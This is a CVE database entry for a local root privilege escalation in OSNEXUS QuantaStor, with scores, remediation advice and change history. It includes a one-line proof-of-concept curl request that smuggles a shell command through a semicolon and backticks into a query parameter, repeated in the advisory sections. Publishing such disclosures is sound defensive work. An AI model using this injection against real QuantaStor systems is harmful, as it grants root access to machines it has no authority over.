CVE-2021-42082

Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

Published Jul 10, 2023 CVSS 3.1 · 7.8 High EPSS < 1% KEV · Not listed
Description
Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Remediation

Vendor Solution

Upgrade to the latest version of OSNEXUS QuantaStor.

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
EUVD EUVD EUVD-2021-29068 Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
History
Type Values Removed Values Added
Description Local users are able to execute scripts under root privileges. Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Type Values Removed Values Added
References
Metrics cvssV3_1

{'score': 7.1, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N'}

cvssV3_1

{'score': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}

Weaknesses

Sources

Status
PUBLISHED
Assigner
DIVD
Published
Updated
Sep 22, 2025, 6:40 AM
Reserved
Oct 7, 2021, 5:12 PM
Status
Modified
Published
Jul 10, 2023, 4:15 PM
Modified
Jun 17, 2026, 4:09 AM